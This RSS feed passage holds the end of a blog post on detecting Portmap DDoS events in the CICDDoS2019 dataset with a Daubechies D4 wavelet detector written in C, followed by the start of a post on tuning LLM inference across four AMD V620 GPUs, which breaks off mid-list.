  printf(&amp;quot;event-level rolling average z-score: TP=%d FP=%d FN=%d events=%d\n&amp;quot;,
    avg_m.tp, avg_m.fp, avg_m.fn, avg_m.events);
  printf(&amp;quot;event-level Daubechies D4 z-score:  TP=%d FP=%d FN=%d events=%d\n&amp;quot;,
    db4_m.tp, db4_m.fp, db4_m.fn, db4_m.events);

  write_results(output, samples, n);
  printf(&amp;quot;\nwrote %s\n&amp;quot;, output);

  free(benign_avg);
  free(benign_db4);
  free(samples);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;demo 2&lt;/h3&gt;&lt;p&gt;Let’s see this in action, compile the real-data detector:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;gcc -O2 -Wall -Wextra hac_real.c -lm -o hack_real&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_17-59.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Then, run with the same z-threshold for both detectors:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./hack_real portmap_real_timeseries.csv portmap_real_results.csv 4 4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_18-00.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As you can see, in my case:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;input: portmap_real_timeseries.csv
samples: 2613
benign samples for baseline: 2163
rolling avg median: 0.81250000 robust sigma: 1.01928750 threshold z: 4.00
db4 detail median: 0.44828774 robust sigma: 0.66463140 threshold z: 4.00

event-level rolling average z-score: TP=34 FP=125 FN=94 events=128
event-level Daubechies D4 z-score:  TP=65 FP=94 FN=63 events=128

wrote portmap_real_results.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Finally, draw the real-data plot:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_portmap_real.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_18-02.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/portmap_real_db4.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The first plot is the real aggregated flow count from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;03-11/Portmap.csv&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The second plot zooms into an attack-heavy area. You can see short labeled attack points mixed with small baseline traffic. This is much messier than the synthetic example, as expected from a real dataset.&lt;/p&gt;&lt;p&gt;The third plot compares robust z-scores:&lt;/p&gt;&lt;p&gt;orange: rolling average z-score;  &lt;br/&gt;
green: Daubechies D4 detail z-score;   &lt;br/&gt;
dashed red line: threshold \( z=4 \).&lt;/p&gt;&lt;p&gt;The last plot shows event-level metrics.&lt;/p&gt;&lt;h3&gt;proof that this works (example 2)&lt;/h3&gt;&lt;p&gt;&lt;em&gt;If you’ve made it this far, let’s prove again why it works here.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Mathematical proof:&lt;/p&gt;&lt;p&gt;Rolling average is a smoothing filter:&lt;/p&gt;

\[\bar{x}_t=\frac{1}{W}\sum_{i=0}^{W-1}x_{t-i}\]

&lt;p&gt;this is useful for long high-volume attacks, but it has inertia. If traffic jumps and then quickly returns to normal, the average can remain elevated because old attack samples still live inside the window.&lt;/p&gt;&lt;p&gt;D4 detail is a high-pass wavelet coefficient:&lt;/p&gt;

\[d_t =
g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

&lt;p&gt;It suppresses smooth behavior because:&lt;/p&gt;

\[\sum_{k=0}^{3}g_k=0\]

&lt;p&gt;and:&lt;/p&gt;

\[\sum_{k=0}^{3}k g_k=0\]

&lt;p&gt;So for a constant or nearly linear local trend, D4 detail is small. But for an abrupt traffic transition, D4 detail becomes large. In cybersecurity language:&lt;/p&gt;&lt;p&gt;&lt;em&gt;rolling average asks: is traffic high for a while?&lt;/em&gt;      &lt;br/&gt;
&lt;em&gt;D4 asks: did the traffic shape suddenly break?&lt;/em&gt;&lt;/p&gt;&lt;p&gt;practical proof on the real &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;03-11/Portmap.csv&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;At the same threshold \( z=4 \), D4 is better on all three event-level metrics:&lt;/p&gt;

\[TP_{D4}-TP_{avg}=65-34=31\]

\[FP_{avg}-FP_{D4}=125-94=31\]

\[FN_{avg}-FN_{D4}=94-63=31\]

&lt;p&gt;So on this real file from dataset, D4 finds more Portmap attack events and produces fewer false positives and fewer misses.&lt;/p&gt;&lt;p&gt;This does not mean D4 is universally better for every DDoS type. It means something narrower and defensible:&lt;/p&gt;&lt;blockquote&gt;
  &lt;p&gt;For this CICDDoS2019 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Portmap.csv&lt;/code&gt; flow-count time series, with BENIGN-based robust normalization and equal threshold (z=4), Daubechies D4 dominates rolling average in event-level TP/FP/FN.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;That is the kind of claim we can publish honestly.&lt;/p&gt;&lt;p&gt;The detection success depends on:&lt;/p&gt;&lt;p&gt;for a full paper-style evaluation, repeat the same experiment for:&lt;/p&gt;&lt;p&gt;Then plot ROC/PR curves across multiple thresholds:&lt;/p&gt;

\[TPR(\tau)=\frac{TP(\tau)}{TP(\tau)+FN(\tau)}\]

\[FPR(\tau)=\frac{FP(\tau)}{FP(\tau)+TN(\tau)}\]

\[\operatorname{Precision}(\tau)=\frac{TP(\tau)}{TP(\tau)+FP(\tau)}\]

&lt;p&gt;This is how to prove whether the method generalizes beyond one file.&lt;/p&gt;&lt;h3&gt;limitations&lt;/h3&gt;&lt;p&gt;this detector is not a complete Anti-DDoS system.&lt;/p&gt;&lt;p&gt;D4 wavelet is good for abrupt changes. It is not enough for:&lt;/p&gt;&lt;ul&gt;
  &lt;li&gt;very slow ramp attacks;&lt;/li&gt;
  &lt;li&gt;application-layer attacks with low traffic volume;&lt;/li&gt;
  &lt;li&gt;attacks where the signal is not rate but distribution;&lt;/li&gt;
  &lt;li&gt;attacks hidden inside normal event traffic.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;For those, we need more features:&lt;/p&gt;

\[S =
w_1Z_{rate}+
w_2Z_{D4}+
w_3Z_{entropy}+
w_4Z_{protocol}\]

&lt;p&gt;For example:&lt;/p&gt;&lt;ul&gt;
  &lt;li&gt;SYN flood: handshake asymmetry;&lt;/li&gt;
  &lt;li&gt;DNS flood: qname entropy and NXDOMAIN ratio;&lt;/li&gt;
  &lt;li&gt;UDP reflection: packet size and source port distribution;&lt;/li&gt;
  &lt;li&gt;carpet bombing: destination distribution and matrix anomalies.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;conclusion&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://cocomelonc.github.io/linux/2026/06/23/ddos-wavelet-detection-1.html&quot;&gt;Haar wavelet&lt;/a&gt; is good for explaining the idea. Daubechies D4 is a better next step because it is still simple but has stronger mathematical properties.&lt;/p&gt;&lt;p&gt;In this post:&lt;/p&gt;&lt;ul&gt;
  &lt;li&gt;we implemented D4 in C;&lt;/li&gt;
  &lt;li&gt;we used robust median/MAD thresholding;&lt;/li&gt;
  &lt;li&gt;we prepared a CICDDoS2019-compatible time-series format;&lt;/li&gt;
  &lt;li&gt;we added a converter for real CICDDoS2019 flow CSV;&lt;/li&gt;
  &lt;li&gt;we plotted traffic, D4 score, and event-level metrics;&lt;/li&gt;
  &lt;li&gt;we showed that D4 can reduce false post-event alerts compared with rolling average.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This is a useful building block for a defensive Anti-DDoS research pipeline.&lt;/p&gt;&lt;h3&gt;references and further reading&lt;/h3&gt;&lt;p&gt;If you want to go deeper into the math and the research behind this post, here are the academic papers I recommend. I grouped them by topic.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Wavelets and signal analysis of network traffic&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;P. Barford, J. Kline, D. Plonka, A. Ron. &lt;em&gt;A Signal Analysis of Network Traffic Anomalies&lt;/em&gt; (ACM SIGCOMM Internet Measurement Workshop, 2002) - &lt;a href=&quot;https://web.eecs.umich.edu/~zmao/eecs589/papers/BarfordIMW02.pdf&quot;&gt;pdf&lt;/a&gt;. The classic paper on using wavelet decomposition to expose short-lived traffic anomalies.   &lt;br/&gt;
S. Mallat. &lt;em&gt;A Theory for Multiresolution Signal Decomposition: The Wavelet Representation&lt;/em&gt; (IEEE Trans. PAMI, 1989) - &lt;a href=&quot;https://doi.org/10.1109/34.192463&quot;&gt;doi&lt;/a&gt;. The foundational multiresolution analysis paper behind the Haar/DWT machinery.  &lt;br/&gt;
I. Daubechies. &lt;em&gt;Ten Lectures on Wavelets&lt;/em&gt; (SIAM, 1992) - &lt;a href=&quot;https://doi.org/10.1137/1.9781611970104&quot;&gt;doi&lt;/a&gt;. The standard reference textbook for wavelet theory.  &lt;br/&gt;
C.-M. Cheng, H. T. Kung, K.-S. Tan. &lt;em&gt;Use of Spectral Analysis in Defense Against DoS Attacks&lt;/em&gt; (IEEE GLOBECOM, 2002) - &lt;a href=&quot;https://www.eecs.harvard.edu/~htk/publication/2002-globecom-cheng-kung-tan.pdf&quot;&gt;pdf&lt;/a&gt;. Spectral/power-density view of DoS traffic, a close cousin of the wavelet approach.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Low-rate and pulsing DDoS attacks&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;A. Kuzmanovic, E. W. Knightly. &lt;em&gt;Low-Rate TCP-Targeted Denial of Service Attacks (The Shrew vs. the Mice and Elephants)&lt;/em&gt; (ACM SIGCOMM, 2003) - &lt;a href=&quot;https://dl.acm.org/doi/10.1145/863955.863966&quot;&gt;pdf&lt;/a&gt;. Explains exactly why low duty-cycle pulses evade average-based detectors while still hurting TCP.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Change-point detection (onset detection)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;E. S. Page. &lt;em&gt;Continuous Inspection Schemes&lt;/em&gt; (Biometrika, 1954) - &lt;a href=&quot;https://doi.org/10.1093/biomet/41.1-2.100&quot;&gt;doi&lt;/a&gt;. The original CUSUM change-detection scheme.   &lt;br/&gt;
G. V. Moustakides. &lt;em&gt;Optimal Stopping Times for Detecting Changes in Distributions&lt;/em&gt; (Annals of Statistics, 1986) - &lt;a href=&quot;https://www.ssp.ece.upatras.gr/moustakides/downloads/journals/seq1986.pdf&quot;&gt;doi&lt;/a&gt;. Proves the minimax optimality of CUSUM for minimum-delay detection.  &lt;br/&gt;
H. Wang, D. Zhang, K. G. Shin. &lt;em&gt;Detecting SYN Flooding Attacks&lt;/em&gt; (IEEE INFOCOM, 2002) - &lt;a href=&quot;https://www.cs.umd.edu/class/fall2023/cmsc614/papers/synflood.pdf&quot;&gt;pdf&lt;/a&gt;. Non-parametric CUSUM applied to the SYN-FIN difference; directly relevant to SYN-flood detection.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Entropy and statistical / distributional detection&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;L. Feinstein, D. Schnackenberg, R. Balupari, D. Kindred. &lt;em&gt;Statistical Approaches to DDoS Attack Detection and Response&lt;/em&gt; (DARPA DISCEX, 2003) - &lt;a href=&quot;https://doi.org/10.1109/DISCEX.2003.1194894&quot;&gt;doi&lt;/a&gt;. Entropy and chi-square tests for volume-independent detection.   &lt;br/&gt;
A. Lall, V. Sekar, M. Ogihara, J. Xu, H. Zhang. &lt;em&gt;Data Streaming Algorithms for Estimating Entropy of Network Traffic&lt;/em&gt; (ACM SIGMETRICS, 2006) - &lt;a href=&quot;https://faculty.cc.gatech.edu/~jx/reprints/Sigm06entropy_talk.pdf&quot;&gt;pdf&lt;/a&gt;. How to estimate traffic entropy at line rate with small memory.  &lt;br/&gt;
A. Lakhina, M. Crovella, C. Diot. &lt;em&gt;Diagnosing Network-Wide Traffic Anomalies&lt;/em&gt; (ACM SIGCOMM, 2004) - &lt;a href=&quot;https://conferences.sigcomm.org/sigcomm/2004/papers/p405-lakhina111.pdf&quot;&gt;pdf&lt;/a&gt;. PCA subspace method for correlated, network-wide anomalies.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Robust statistics (median / MAD / z-score)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;P. J. Huber. &lt;em&gt;Robust Estimation of a Location Parameter&lt;/em&gt; (Annals of Mathematical Statistics, 1964) - &lt;a href=&quot;https://doi.org/10.1214/aoms/1177703732&quot;&gt;doi&lt;/a&gt;. The origin of robust location estimation behind median/MAD.  &lt;br/&gt;
F. R. Hampel. &lt;em&gt;The Influence Curve and Its Role in Robust Estimation&lt;/em&gt; (JASA, 1974) - &lt;a href=&quot;https://doi.org/10.1080/01621459.1974.10482962&quot;&gt;doi&lt;/a&gt;. Breakdown point and influence functions, why MAD beats standard deviation under contamination.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Baseline modeling and seasonality&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;J. D. Brutlag. &lt;em&gt;Aberrant Behavior Detection in Time Series for Network Monitoring&lt;/em&gt; (USENIX LISA, 2000) - &lt;a href=&quot;https://www.usenix.org/legacy/events/lisa00/full_papers/brutlag/brutlag.pdf&quot;&gt;pdf&lt;/a&gt;. Holt-Winters seasonal baselining with confidence bands - the operational version of an adaptive threshold.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Self-similar traffic (background for why wavelets fit network data)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;W. E. Leland, M. S. Taqqu, W. Willinger, D. V. Wilson. &lt;em&gt;On the Self-Similar Nature of Ethernet Traffic&lt;/em&gt; (ACM SIGCOMM, 1993) - &lt;a href=&quot;https://doi.org/10.1145/166237.166255&quot;&gt;doi&lt;/a&gt;. Shows network traffic is self-similar/bursty across scales, which motivates multi-resolution analysis.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Surveys and datasets&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;J. Mirkovic, P. Reiher. &lt;em&gt;A Taxonomy of DDoS Attack and DDoS Defense Mechanisms&lt;/em&gt; (ACM SIGCOMM CCR, 2004) - &lt;a href=&quot;https://doi.org/10.1145/997150.997156&quot;&gt;doi&lt;/a&gt;. A good map of the whole attack/defense landscape.  &lt;br/&gt;
I. Sharafaldin, A. H. Lashkari, S. Hakak, A. A. Ghorbani. &lt;em&gt;Developing Realistic Distributed Denial of Service (DDoS) Attack Dataset and Taxonomy&lt;/em&gt; (IEEE ICCST, 2019) - &lt;a href=&quot;https://doi.org/10.1109/CCST.2019.8888419&quot;&gt;doi&lt;/a&gt;. The paper behind the CICDDoS2019 dataset linked above.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Haar_wavelet&quot;&gt;Haar wavelet&lt;/a&gt;  &lt;br/&gt;
&lt;a href=&quot;https://en.wikipedia.org/wiki/Daubechies_wavelet&quot;&gt;Daubechies wavelet&lt;/a&gt;  &lt;br/&gt;
&lt;a href=&quot;https://en.wikipedia.org/wiki/Wavelet&quot;&gt;Wavelet&lt;/a&gt;  &lt;br/&gt;
&lt;a href=&quot;https://github.com/cocomelonc/meow/tree/master/2026-06-26-ddos-wavelet-detection-2&quot;&gt;source code in github&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;
  &lt;p&gt;This is a practical defensive case for educational purposes only.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Thanks for your time happy hacking and good bye!  &lt;br/&gt;
&lt;em&gt;PS. All drawings and screenshots are mine&lt;/em&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>AI At Home Part 2: Multi GPU Drifting</title>
<link>https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/index.html</link>
<enclosure type="image/jpeg" length="0" url="https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/drifting_cover.jpeg"></enclosure>
<guid isPermaLink="false">b2sAtoUvw-F5fP07WmjTJFP7mzHgh8aVFMW2jw==</guid>
<pubDate>Wed, 26 Aug 2026 01:53:42 +0000</pubDate>
<description>getting AI models to run fast on a box of e-waste GPUs</description>
<content:encoded>&lt;h1&gt;No, We Have AI At Home&lt;/h1&gt;&lt;h3&gt;Chapter 2: Multi-GPU Drifting&lt;/h3&gt;&lt;h5&gt;August 20 2026&lt;/h5&gt;&lt;hr/&gt;&lt;p&gt;&lt;a href=&quot;https://jdagostino.github.io/ai-pt1-box-o-scraps/index.html&quot;&gt;In the last chapter I built a ridiculous home server out of e-waste-grade GPUs to run AI language models.&lt;/a&gt; Here, I&amp;#39;ll be talking about what I needed to do to squeeze some kind of reasonable performance out of this kind of setup. (This is going to be using existing code and techniques, messing around with llama.cpp settings and so on; writing new ROCm kernels is out of scope for this chapter).&lt;/p&gt;&lt;figure&gt;
	&lt;img src=&quot;https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/drifting.jpeg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
&lt;/figure&gt;&lt;p&gt;I&amp;#39;m gonna go into some background here. If you already know how transformer models work, go ahead and jump to section 2. If you already know how multi-GPU parallelism works and just want to get to the part where I&amp;#39;m testing things, jump to section 3.&lt;/p&gt;&lt;h4&gt;section 1: attention&lt;/h4&gt;&lt;p&gt;Okay, basically all of the AI text generation software that&amp;#39;s currently in use everywhere are instances of the &amp;quot;transformer model&amp;quot; or &amp;quot;large language model&amp;quot;. The design and basic technique was introduced in the paper &lt;a href=&quot;https://arxiv.org/abs/1706.03762&quot;&gt;Attention is All You Need&lt;/a&gt;, which is probably the most important paper in the field of computer science in the past, I dunno, twenty years?  The paper is pretty readable as far as these things go. I&amp;#39;m sure every software engineer reading this blog post has already read it, right? (Right?)&lt;/p&gt;&lt;figure&gt;
	&lt;img src=&quot;https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/most_have_read.jpeg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
&lt;/figure&gt;&lt;p&gt;Anyway. I&amp;#39;m going to over-simplify things a bit here and focus from the perspective of somebody who is trying to get these things to run fast on crappy hardware, and not go deep into the tensor math or talk much about model training, because this blog post is already going to be way, way too long.&lt;/p&gt;&lt;p&gt;The LLM works in terms of &amp;quot;tokens&amp;quot;. A token is basically a word fragment; instead of inputting and outputting individual letters it&amp;#39;s more efficient to chop these up into sequences of letters and have the model process those. (This is why early AI models were bad at correctly answering questions like &amp;quot;how many times is the letter R in the word raspberry?&amp;quot;) Different models tokenize language differently, you can think of this as like a frequency encoding. Each time a model generates another token, it&amp;#39;ll actually generate a probability distribution and then randomly sample one from that distribution, because language works better that way than picking the exact most likely next thing every time.&lt;/p&gt;&lt;p&gt;The language model is a neural network that&amp;#39;s divided into layers. You have an input layer and an output layer and a bunch of layers in between that don&amp;#39;t directly interact with the input or output (&amp;quot;hidden layers&amp;quot;). The input layer takes in the entire input prompt, and then each layer does math on the output of the previous layer in series. The thing where the model looks at the entire input at once, and looks at the relations between different tokens at different points in the input series, is called the &amp;quot;attention mechanism&amp;quot;. If you&amp;#39;ve been reading about AI language models you probably have heard somebody confidently claim &amp;quot;these AI models are just next word generators, like a Markov chain is&amp;quot;, and then you probably noticed that these AI models generate very different outputs than a Markov chain does, and wondered where exactly that guy went wrong. Well, a Markov chain doesn&amp;#39;t have the attention mechanism, it just generates a new token based on the previous token in the series.&lt;/p&gt;&lt;p&gt;So, to generate the next token, the model reads in the entire tokenized prompt, turns this into an embedding matrix (each token gets turned into a vector where the length is the hidden dimension of each layer), then does the attention math on each layer (gigantic matrix multiplication for each token, for each layer in series), samples a new token, adds it to the prompt, and keeps doing this in a loop until it gets to a token that indicates that it&amp;#39;s time to stop. &lt;/p&gt;&lt;figure&gt;
	&lt;img src=&quot;https://jdagostino.github.io/ai-pt2-multi-gpu-drifting/ModalNet-21.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
	&lt;figcaption&gt;fig 1 from &amp;quot;Attention Is All You Need&amp;quot; (Vaswani et. al., 2017)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;p&gt;For our purposes, what this means is that every time the computer generates a token, it needs to read in the existing context, and also every weight in the model, in order to do all those matrix multiplications to generate the token. I&amp;#39;d mentioned the Gemma4-31B model in the last chapter; as the name implies, the model has 31 billion weights (divided into 60 layers). We&amp;#39;ve got to load all of them into the GPU to calculate the next token. Loading these takes a lot longer than the actual attention math does; token generation is (usually) limited by memory bandwidth rather than compute. This is why the server I built has all of those GPUs with lots of VRAM attached to them; the model weights and KV cache need to be in VRAM that can get to the GPU quickly. The memory attached to the CPU is by comparison a lot slower. (This is also why we are in a memory shortage right now as the entire industry shifts to prioritize producing high-bandwidth memory for data center GPUs).&lt;/p&gt;&lt;p&gt;This obviously isn&amp;#39;t going to scale super well. As model sizes increase, token generation slows way down; practical limits on this kind of thing got hit already. In response, we have the misleadingly-named &amp;quot;Mixture of Experts&amp;quot; model architecture&lt;sup&gt;1&lt;/sup&gt;. The idea here is that the first couple of layers are used every time to process the whole input embedding matrix, then this gets routed to some subset of the model. For the middle layers, each input token gets routed to a subset of the weights, so only some set of the weights will need to get loaded for each token. Each of these subsets is called an &amp;quot;expert&amp;quot;, and I really hate this framing, because it gives you the completely false impression that like one of these branches knows about Python and one of them knows about rocket engines and one of them knows how to speak German and you can just trim the parts of the model you don&amp;#39;t care about. This is absolutely not the case, though! The &amp;quot;experts&amp;quot; are basically random, or at least unpredictable, and for most MoE models, different tokens will get routed to different experts in a mostly uniform distribution. So, for example, Deepseek V4 Flash has 284 billion weights but for each token we will only load and process 13 billion. (The shorthand for this is &amp;quot;284B-A13B&amp;quot;, only 13B get &amp;quot;activated&amp;quot;). But I don&amp;#39;t know &lt;em&gt;which&lt;/em&gt; 13 billion ahead of time, and it&amp;#39;s going to change for each token that gets generated, so I still need to store all 284 billion weights in some pretty fast memory to keep token generation fast. The MoE thing makes token generation fast at the cost of needing more VRAM.&lt;/p&gt;&lt;h4&gt;section 2: parallelism&lt;/h4&gt;&lt;p&gt;When you&amp;#39;re using a lot of VRAM, it&amp;#39;s going to be divided among separate GPUs. My server has four, with 32GB each; the serious business ones will have eight GPUs with like 192GB each, and then will have to split really big models up between multiple compute nodes, but the principles are the same. A GPU can read its own memory pretty quickly and memory from some other GPU not very quickly and memory on a whole different compute node will be slower still. There&amp;#39;s several different ways to split this up. Only two of them really matter for the use case I have, where I&amp;#39;ve got a box in the garage and I&amp;#39;m the only real user and I&amp;#39;m trying to get the smartest model working at adequate speeds for myself.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Layer Parallel&lt;/strong&gt; - We take the model and put different layers on the different GPUs. As we&amp;#39;re generating a new token, we run through a few of the layers on GPU 1, then move that intermediate state over to GPU 2 and process the next set of layers, and so on. This is pretty simple, it gets all of our model weights into VRAM. Each layer is getting processed in series, though, because each layer depends on the output of the previous layer, and so the theoretical best speed we can expect here is basically the same as what one GPU would give us if it had as much VRAM as the whole set. (In practice it&amp;#39;ll be a bit slower). An AMD V620 has 512 GB/s of memory bandwidth. If I&amp;#39;m splitting the model up between four GPUs layer parallel, for one prompt I&amp;#39;m gonna get... 512 GB/s of memory bandwidth, minus the overhead of moving data between the GPUs.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tensor Parallel&lt;/strong&gt; - We take the model and split each layer between multiple GPUs. For each layer, each GPU calculates a fraction of that matrix multiplication, then sends that result to some other GPU that will synchronize and calculate the final result before moving on to the next layer. In theory this should allow us to parallelize our memory bandwidth: I have four cards at 512GB/s, if I&amp;#39;m splitting the model up tensor parallel I should get 2TB/s of memory bandwidth as I move through each layer! Minus the overhead of moving data between the GPUs, of course. Which is, unfortunately, way more! We&amp;#39;re moving data around multiple times for each layer, instead of just once per GPU per token as in layer parallel. This can (and will, on my server) outweigh the speed increase from the increased memory bandwidth.&lt;/p&gt;&lt;p&gt;You&amp;#39;ll also see discussion of other parallelisms that make more sense in the context of serving multiple users at once:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Data Parallel&lt;/strong&gt; is just running the same model on multiple separate GPUs and routing incoming queries to run in parallel. I may play around with that for multiple subagents running simultaneously in the future, but it&amp;#39;s not actually necessary until you get to very large scale because a GPU can process inference in a batch already. (The inference pipeline is bound by memory bandwidth, as mentioned earlier, so you can slide some amount of extra matrix math in there for &amp;quot;free&amp;quot;, at least until you try to do so much that it becomes compute-bound again).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Expert Parallel&lt;/strong&gt; keeps shared tensors on every GPU and then puts each of the non-shared &amp;quot;experts&amp;quot; (or subgroups of them) onto different GPUs, so multiple users would get their queries routed to different GPUs for most of the inference pipeline. Again, this one mostly makes sense for lots of concurrent users, and is widely used by commercial LLM providers. It doesn&amp;#39;t really help my case though.&lt;/p&gt;&lt;p&gt;Anyway, my server will mostly be serving me making one request at a time. I&amp;#39;ll play around with parallel subagents at some point, maybe I&amp;#39;ll have a couple guests hitting this thing at the same time, but I don&amp;#39;t really have multiple users here so I&amp;#39;m not optimizing for these cases.&lt;/p&gt;&lt;h4&gt;section 3: experimentation&lt;/h4&gt;&lt;p&gt;Okay, let&amp;#39;s talk about my server.&lt;/p&gt;&lt;p&gt;The GPU array I have here is four AMD Radeon Pro V620 cards connected to a shared PCI Express bus. You&amp;#39;d expect the inter-GPU-traffic to be slow, and it&amp;#39;s even slower than you&amp;#39;d expect, because the motherboard is running the older PCIe 3.0 standard and most of the cards are using 8 lanes instead of 16.&lt;/p&gt;&lt;pre&gt;jacob@daedalus:~$ sudo lspci -vvv
[...]
LnkCap: Port #2, Speed 16GT/s, Width x16, ASPM L1, Exit Latency L1 &amp;lt;64us
        ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp+
LnkCtl: ASPM L1 Enabled; Disabled- CommClk+
        ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 8GT/s (downgraded), Width x8 (downgraded)
        TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-
&lt;/pre&gt;&lt;figure&gt;
&lt;figcaption&gt;&lt;code&gt;lspci&lt;/code&gt; shows eight lanes and slow, like the LA freeways&lt;/figcaption&gt;
&lt;/figure&gt;&lt;p&gt;So I suspect that tensor parallel isn&amp;#39;t going to work very well. The cards that are actually designed and marketed for AI workloads have some kind of high speed, low latency inter-GPU connection in addition to PCIe, and these are all manufacturer-specific; Nvidia has NVLink, AMD has Infinity Fabric, Intel has Xe Link, etc. These cards don&amp;#39;t have anything like that. Around the same time AMD was making these cards for their cloud gaming scheme, they were making an AI-focused card called the AMD Instinct MI210, it has about three times the memory bandwidth and you can get a special bridge connector that connects up to four of them via Infinity Fabric. Also, a single one of those cards would cost (used, today) more than this whole box, so that&amp;#39;s all kind of a non-starter. I have to make do with what I have.&lt;/p&gt;&lt;p&gt;What I have are four cards that are respectably fast individually and have poor interconnects between them, which means we&amp;#39;re going to have to do this in layer parallel, then figure out how to fill up the pipeline. And even layer parallel has a performance impact, as we&amp;#39;ll see.&lt;/p&gt;&lt;p&gt;For the purposes of this study here I had two models I was playing with; I had Gemma4-31B, and Deepseek V4 Flash.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Gemma4 31B&lt;/strong&gt; has 31 billion parameters, at a 4-bit quantization the weights are about 18 GiB and the model fits comfortably into a single one of these GPUs that each have 32GB of VRAM. It&amp;#39;s a dense model; every token will run through all 18 GiB of those weights.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Deepseek V4 Flash&lt;/strong&gt; has 284 billion parameters, it&amp;#39;s a MoE model and 13 billion parameters will activate for each token. The &amp;quot;stock&amp;quot; quant from Deepseek puts the routed expert weights at 4 bits each, for a total size of 162 GiB. This is too big for this server! I&amp;#39;m running here a 2-bit quantization, at 81 GiB. Only the routed expert weights are compressed this hard, the shared weights are still at full precision; overall this comes out to something like 3.5 bits per weight on disk, but 5 point someodd bits per weight getting loaded for each token. This is just about the right size to max out the memory in the four GPU array. (Remember, we also need to store the current context in VRAM as well, the &amp;quot;KV cache&amp;quot;, because it&amp;#39;s going to be the other factor in the matmul we need to do each layer). 2-bit quants in general have a bad reputation but I&amp;#39;m finding this particular one to be surprisingly good, probably because the shared weights are all still at high precision.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;When I first built this machine in the previous chapter, I immediately tried to run this DS4Flash quant across all four cards, in the default layer-parallel mode, leaving all of the other settings on whatever the default was. It ran at about 9 to 10 tokens per second. This was usable to get a fan control script written, but was slow enough to be annoying and unsatisfying. I knew there was performance that was getting left on the table here.&lt;/p&gt;&lt;p&gt;First, I doubled back and tested out some techniques with Gemma instead. It&amp;#39;s easier to work with a smaller model, I ran into out-of-memory errors less often.&lt;/p&gt;&lt;p&gt;One thing I can do here is directly test the performance penalty for layer parallelism against running everything on one card. I&amp;#39;ve got a 4-bit quant of Gemma, and I locked it to a context size of 65536 tokens. Here&amp;#39;s what some quick testing with the basic default settings showed me:&lt;/p&gt;&lt;ul&gt;
